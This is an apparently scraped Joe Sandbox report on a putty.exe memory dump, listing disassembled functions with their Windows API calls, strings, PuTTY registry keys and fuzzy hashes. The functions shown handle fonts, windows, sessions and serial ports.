Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: 0$f$p$p
API String ID: 3215553584-1202675169
Opcode ID: 742ecf5f782f48d894291cd9e8debc9be088f5c6d3ec10e94422746121de430c
Instruction ID: 996a78f3aff8e845a097353fd81df22d48dccc395cd86f6d6022d9f78cc97336
Opcode Fuzzy Hash: 742ecf5f782f48d894291cd9e8debc9be088f5c6d3ec10e94422746121de430c
Instruction Fuzzy Hash: 4C12A073E2D143A6FB206F28D14C67B6A61FB41754FA44139E799876C4CE3CEC80AB18

Function 00007FF6785F8A18 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 160COMMON

Download Yara Rule

APIs

GetDC.USER32 ref: 00007FF6785F8B2C
GetDeviceCaps.GDI32 ref: 00007FF6785F8B3D
MulDiv.KERNEL32 ref: 00007FF6785F8B4E
ReleaseDC.USER32 ref: 00007FF6785F8B62
ChooseFontA.COMDLG32 ref: 00007FF6785F8C15

Strings

h, xrefs: 00007FF6785F8BDB

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: CapsChooseDeviceFontRelease
String ID: h
API String ID: 554219020-2439710439
Opcode ID: b484c44fd3baadefc3494cc91ab8e6aaf4eda1bb37a536306e2e396374a8010b
Instruction ID: 0ab7a23aba68793980a8eb78174e8b888644f9d2f39394f403a0ab30893c018f
Opcode Fuzzy Hash: b484c44fd3baadefc3494cc91ab8e6aaf4eda1bb37a536306e2e396374a8010b
Instruction Fuzzy Hash: 5B71A473A1C68189FB608B35E4443BB7BA1EB65B94F240035DA8E83798CF7CE845DB45

Function 00007FF678610E60 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 75networkCOMMON

Download Yara Rule

APIs

getpeername.WS2_32 ref: 00007FF678610E94
htons.WS2_32 ref: 00007FF678610F04
inet_ntoa.WS2_32 ref: 00007FF678610F17
htons.WS2_32 ref: 00007FF678610F58
inet_ntop.WS2_32 ref: 00007FF678610F77

Strings

[%s]:%d, xrefs: 00007FF678610F8D
%s:%d, xrefs: 00007FF678610F2D

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: htons$getpeernameinet_ntoainet_ntop
String ID: %s:%d$[%s]:%d
API String ID: 1060964792-2542140192
Opcode ID: 5b919b19cd1a092d9ae924ae209f265529ada2219a929c940ea57715b755d7c7
Instruction ID: 2afec196960bafc42be01531d3d386bb2f07fea35e74be9189cbd31fedf04d05
Opcode Fuzzy Hash: 5b919b19cd1a092d9ae924ae209f265529ada2219a929c940ea57715b755d7c7
Instruction Fuzzy Hash: 5A31953292869296E7709F25E4053BB7BA0FB84740F608135DACE87796EF3CE845DB44

Function 00007FF6785D1F79 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 75windowCOMMON

Download Yara Rule

APIs

ShowCursor.USER32 ref: 00007FF6785D286E
GetCursorPos.USER32 ref: 00007FF6785D2883
GetMonitorInfoA.USER32 ref: 00007FF6785D28C8
IsZoomed.USER32 ref: 00007FF6785D290B
GetWindowLongPtrA.USER32 ref: 00007FF6785D2921
SendMessageA.USER32 ref: 00007FF6785D2961

Strings

(, xrefs: 00007FF6785D28B2

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: Cursor$InfoLongMessageMonitorSendShowWindowZoomed
String ID: (
API String ID: 3620415003-3887548279
Opcode ID: d187b52f7d9aabdd4469402f5d2f178aab838f39d50d32413d2db247b8c1bdbe
Instruction ID: 7d1b525f9472c31d6bb52dda04eb73e6d8dbfbb60605e8d4db3d6ddc6650ba3a
Opcode Fuzzy Hash: d187b52f7d9aabdd4469402f5d2f178aab838f39d50d32413d2db247b8c1bdbe
Instruction Fuzzy Hash: 6131C123B2C68685FA608B30E4843B62B91EF90760F644134CAADC62D4DF7CED84EB14

Function 00007FF6785D209E Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 75windowCOMMON

Download Yara Rule

APIs

ShowCursor.USER32 ref: 00007FF6785D286E
GetCursorPos.USER32 ref: 00007FF6785D2883
GetMonitorInfoA.USER32 ref: 00007FF6785D28C8
IsZoomed.USER32 ref: 00007FF6785D290B
GetWindowLongPtrA.USER32 ref: 00007FF6785D2921
SendMessageA.USER32 ref: 00007FF6785D2961

Strings

(, xrefs: 00007FF6785D28B2

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: Cursor$InfoLongMessageMonitorSendShowWindowZoomed
String ID: (
API String ID: 3620415003-3887548279
Opcode ID: ae483f04362e8e07ddd5c55a28912365e7810ae5eae7119404d0a43c000be4cd
Instruction ID: 20eaa8f33e9972004565ec4c563f55df588e57ae21d90baaa9d751d62077b415
Opcode Fuzzy Hash: ae483f04362e8e07ddd5c55a28912365e7810ae5eae7119404d0a43c000be4cd
Instruction Fuzzy Hash: 5731AE33B2D68689FA608B30E4843B62B91AF90750F644034CE8DC6694CF7CFD84EB14

Function 00007FF6785D20B1 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 75windowCOMMON

Download Yara Rule

APIs

ShowCursor.USER32 ref: 00007FF6785D286E
GetCursorPos.USER32 ref: 00007FF6785D2883
GetMonitorInfoA.USER32 ref: 00007FF6785D28C8
IsZoomed.USER32 ref: 00007FF6785D290B
GetWindowLongPtrA.USER32 ref: 00007FF6785D2921
SendMessageA.USER32 ref: 00007FF6785D2961

Strings

(, xrefs: 00007FF6785D28B2

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: Cursor$InfoLongMessageMonitorSendShowWindowZoomed
String ID: (
API String ID: 3620415003-3887548279
Opcode ID: 6ff9b6e3ccfa41eac43967d0f85491b21a13e8ae6f4853886475dc0a40d7efd6
Instruction ID: a48cfa953d6bf323c27a8aaab90b089deac9ca7d3f43d8ad2ea24609fd1afd5d
Opcode Fuzzy Hash: 6ff9b6e3ccfa41eac43967d0f85491b21a13e8ae6f4853886475dc0a40d7efd6
Instruction Fuzzy Hash: 4231A023B2D68645FA608B30E4443B62B91AF90760F644134CAADC66E4DF7CFD85EB14

Function 00007FF6785D20C3 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 75windowCOMMON

Download Yara Rule

APIs

ShowCursor.USER32 ref: 00007FF6785D286E
GetCursorPos.USER32 ref: 00007FF6785D2883
GetMonitorInfoA.USER32 ref: 00007FF6785D28C8
IsZoomed.USER32 ref: 00007FF6785D290B
GetWindowLongPtrA.USER32 ref: 00007FF6785D2921
SendMessageA.USER32 ref: 00007FF6785D2961

Strings

(, xrefs: 00007FF6785D28B2

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: Cursor$InfoLongMessageMonitorSendShowWindowZoomed
String ID: (
API String ID: 3620415003-3887548279
Opcode ID: b8349ec93c4dddec6680e4932faa4de2be99d3b4fc5e745421a728c7658fe9e4
Instruction ID: 3c3ebb8a4836dc25ab36365b6fef416889a9b863b67155cf4e5ef9ac58426430
Opcode Fuzzy Hash: b8349ec93c4dddec6680e4932faa4de2be99d3b4fc5e745421a728c7658fe9e4
Instruction Fuzzy Hash: E931AF23B2D68689FA608B30E4853BA2B91EF94750F644034CA9DC6694CF7CFD85EB14

Function 00007FF67860E090 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 66registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF67860DA70: GetEnvironmentVariableA.KERNEL32 ref: 00007FF67860DC25
Part of subcall function 00007FF67860DA70: GetEnvironmentVariableA.KERNEL32 ref: 00007FF67860DC3B
Part of subcall function 00007FF67860DA70: GetWindowsDirectoryA.KERNEL32 ref: 00007FF67860DCA5

Part of subcall function 00007FF6785FAA80: CoCreateInstance.OLE32(?,?,?,?,?,?,00007FF67860E0A2), ref: 00007FF6785FAAB3

Part of subcall function 00007FF678616460: RegCreateKeyExA.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,00000002,00000000,?,00007FF6786DEAB3,00000000), ref: 00007FF67861652D
Part of subcall function 00007FF678616460: RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,00000002,00000000,?,00007FF6786DEAB3,00000000), ref: 00007FF678616576

RegCloseKey.ADVAPI32 ref: 00007FF67860E0D5
RegDeleteKeyA.ADVAPI32 ref: 00007FF67860E10C
RegCloseKey.ADVAPI32 ref: 00007FF67860E121

Part of subcall function 00007FF67860E190: RegDeleteKeyA.ADVAPI32 ref: 00007FF67860E1B6
Part of subcall function 00007FF67860E190: RegCloseKey.ADVAPI32(?,?,?,?,?,00007FF67860E0D2), ref: 00007FF67860E200

RegDeleteKeyA.ADVAPI32 ref: 00007FF67860E16B

Strings

Software\SimonTatham, xrefs: 00007FF67860E0E3
Software\SimonTatham\PuTTY, xrefs: 00007FF67860E0AB
Software, xrefs: 00007FF67860E142

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: Close$Delete$CreateEnvironmentVariable$DirectoryInstanceWindows
String ID: Software$Software\SimonTatham$Software\SimonTatham\PuTTY
API String ID: 1055326402-1491235443
Opcode ID: 81ef892001f2c2f1c0cb7cd0e59f28a03b7942c1b0957569705c6f07a305703b
Instruction ID: 6ecb25de97927b5cb10dbfe561937d776d71513f5d6ec0a4af8f48f8a5f34bb6
Opcode Fuzzy Hash: 81ef892001f2c2f1c0cb7cd0e59f28a03b7942c1b0957569705c6f07a305703b
Instruction Fuzzy Hash: 7021D42AE3D11620FD19A77565013FB1A904F48BA4F704234DD1E8A7CBEE2CAC45E35C

Function 00007FF6785F62A0 Relevance: 12.1, APIs: 8, Instructions: 78windowCOMMON

Download Yara Rule

APIs

SendDlgItemMessageA.USER32 ref: 00007FF6785F62D2
SendDlgItemMessageA.USER32 ref: 00007FF6785F62FE
SendDlgItemMessageA.USER32 ref: 00007FF6785F6318
SendDlgItemMessageA.USER32 ref: 00007FF6785F6331
SendDlgItemMessageA.USER32 ref: 00007FF6785F634B
SendDlgItemMessageA.USER32 ref: 00007FF6785F6364
SendDlgItemMessageA.USER32 ref: 00007FF6785F637D
SendDlgItemMessageA.USER32 ref: 00007FF6785F6397

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: ItemMessageSend
String ID:
API String ID: 3015471070-0
Opcode ID: 06f3538c602ea54299b76f3686f6f10951f03e849c5c96e174d474a1f6d0ed2f
Instruction ID: c6430b6f2c535257e992447bb882d210d589fb5ac12545cacd1d2a984ee39341
Opcode Fuzzy Hash: 06f3538c602ea54299b76f3686f6f10951f03e849c5c96e174d474a1f6d0ed2f
Instruction Fuzzy Hash: 4F21D622B245605AE3709B17BD10FB79695BB8AFC8F184125BC8D47F84CE7DCB069B48

Function 00007FF6785F89C3 Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 187COMMON

Download Yara Rule

APIs

ChooseColorA.COMDLG32 ref: 00007FF6785F90E2

Strings

!c->data, xrefs: 00007FF6785F92FE
All Files (*.*), xrefs: 00007FF6785F8E67
/home/simon/mem/.build/workdirs/bob-0_vdcidh/putty/windows/controls.c, xrefs: 00007FF6785F9305

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: ChooseColor
String ID: !c->data$/home/simon/mem/.build/workdirs/bob-0_vdcidh/putty/windows/controls.c$All Files (*.*)
API String ID: 2281747019-3574149933
Opcode ID: 2f349e4b6fcea049a0fd930034c1fded1ce6c352395f760d69894cb39ab3f3ff
Instruction ID: 4cfd94384d8c5e998b06e55d20da88955dd475b5d8384ca11b09c287a925ec59
Opcode Fuzzy Hash: 2f349e4b6fcea049a0fd930034c1fded1ce6c352395f760d69894cb39ab3f3ff
Instruction Fuzzy Hash: F191B133918AC195FBA58B25E4443EA7BA4FF65754F200036CA8D83B94DF7DE881DB48

Function 00007FF67860DDA0 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 159registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF678616460: RegCreateKeyExA.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,00000002,00000000,?,00007FF6786DEAB3,00000000), ref: 00007FF67861652D
Part of subcall function 00007FF678616460: RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,00000002,00000000,?,00007FF6786DEAB3,00000000), ref: 00007FF678616576

Part of subcall function 00007FF678616890: RegQueryValueExA.ADVAPI32(?,?,?,?,?,00000000,?,?,00007FF67860DE03), ref: 00007FF6786168CB
Part of subcall function 00007FF678616890: RegQueryValueExA.ADVAPI32 ref: 00007FF678616910

RegCloseKey.ADVAPI32 ref: 00007FF67860DEDE
RegCloseKey.ADVAPI32 ref: 00007FF67860DFF0

Strings

Software\SimonTatham\PuTTY\Sessions, xrefs: 00007FF67860DFB5
Software\SimonTatham\PuTTY\Jumplist, xrefs: 00007FF67860DDD1
Recent sessions, xrefs: 00007FF67860DDF4, 00007FF67860DEA3
Default Settings, xrefs: 00007FF67860DF7E

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: Close$QueryValue$Create
String ID: Default Settings$Recent sessions$Software\SimonTatham\PuTTY\Jumplist$Software\SimonTatham\PuTTY\Sessions
API String ID: 1827015023-773100466
Opcode ID: 85f5938d20b66986dfa13e30285e8505ad84e392d4b75f2aaa6e1492787ba138
Instruction ID: ebeba768d52736cafb5853308a8c30c25c1ed880c927bd0a10b54e1c6e063df1
Opcode Fuzzy Hash: 85f5938d20b66986dfa13e30285e8505ad84e392d4b75f2aaa6e1492787ba138
Instruction Fuzzy Hash: 0F51D823E3965261EA50DB32A50577B6B91AF85BC4F744231EE4D87796DF3CEC00A348

Function 00007FF6785D69C0 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 130windowCOMMON

Download Yara Rule

APIs

DeleteMenu.USER32 ref: 00007FF6785D6B07
DeleteMenu.USER32 ref: 00007FF6785D6B18
MessageBoxA.USER32 ref: 00007FF6785D6BA4

Strings

Unable to open terminal:%s, xrefs: 00007FF6785D6B7C
Unable to open connection to%s%s, xrefs: 00007FF6785D6B68
%s Error, xrefs: 00007FF6785D6B44

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: DeleteMenu$Message
String ID: %s Error$Unable to open connection to%s%s$Unable to open terminal:%s
API String ID: 1035315089-2786405544
Opcode ID: b435416d0079812654ad5947054f8ee94bf0debb7ab9021b2e37498e67299442
Instruction ID: b089c141516501d2553a9bdc9c82380d309935b9be90a2f795a2e16746153191
Opcode Fuzzy Hash: b435416d0079812654ad5947054f8ee94bf0debb7ab9021b2e37498e67299442
Instruction Fuzzy Hash: F0513D63A3C642A1FA40DB35E8512772F51AF98BD0F340432DD4DC7BA6DE2CE845AB48

Function 00007FF678604B20 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 111fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32 ref: 00007FF678604C10
GetLastError.KERNEL32 ref: 00007FF678604C9A

Part of subcall function 00007FF678604E40: GetCommState.KERNEL32 ref: 00007FF678604E69

Part of subcall function 00007FF678649480: CreateEventA.KERNEL32 ref: 00007FF6786494D4
Part of subcall function 00007FF678649480: InitializeCriticalSection.KERNEL32 ref: 00007FF678649534
Part of subcall function 00007FF678649480: CreateEventA.KERNEL32 ref: 00007FF678649544
Part of subcall function 00007FF678649480: CreateThread.KERNEL32 ref: 00007FF678649583
Part of subcall function 00007FF678649480: CloseHandle.KERNEL32 ref: 00007FF678649591

Part of subcall function 00007FF678649120: CreateEventA.KERNEL32 ref: 00007FF678649174
Part of subcall function 00007FF678649120: InitializeCriticalSection.KERNEL32 ref: 00007FF6786491BD
Part of subcall function 00007FF678649120: CreateEventA.KERNEL32 ref: 00007FF6786491CD
Part of subcall function 00007FF678649120: CreateThread.KERNEL32 ref: 00007FF67864920C
Part of subcall function 00007FF678649120: CloseHandle.KERNEL32 ref: 00007FF67864921A

Strings

Opening '%s': %s, xrefs: 00007FF678604CA7
%s%s, xrefs: 00007FF678604BD7
Opening serial device %s, xrefs: 00007FF678604BA6
\\.\, xrefs: 00007FF678604BC5

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: Create$Event$CloseCriticalHandleInitializeSectionThread$CommErrorFileLastState
String ID: %s%s$Opening '%s': %s$Opening serial device %s$\\.\
API String ID: 2954106191-1737485005
Opcode ID: 8462272af96375a9731e579ad06bba362a2b0478e26546baae626532e76adf5f
Instruction ID: 2d07bb1dde6b478d3e64762d215ee6d7c118cee9678d8ef7215d3fbcbb67ca2f
Opcode Fuzzy Hash: 8462272af96375a9731e579ad06bba362a2b0478e26546baae626532e76adf5f
Instruction Fuzzy Hash: 1841E723E2474251EA109B32E8447AB3B51FB89BE4F604635DE5D87BD6EE3CE9419304

Function 00007FF6785F4AB0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 99windowCOMMON

Download Yara Rule

APIs

ReleaseCapture.USER32(?,?,?,?,?,?,?,?,?,?,?,00007FF6785F32AF), ref: 00007FF6785F4B1A
GetWindowPlacement.USER32 ref: 00007FF6785F4B69
SetWindowPlacement.USER32 ref: 00007FF6785F4B8A
GetCapture.USER32 ref: 00007FF6785F4BF0
MessageBeep.USER32(?,?,?,?,?,?,?,?,?,?,?,00007FF6785F32AF), ref: 00007FF6785F4C18

Part of subcall function 00007FF678624E00: GetWindowLongPtrA.USER32 ref: 00007FF678624E2B

Strings

,, xrefs: 00007FF6785F4B59

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
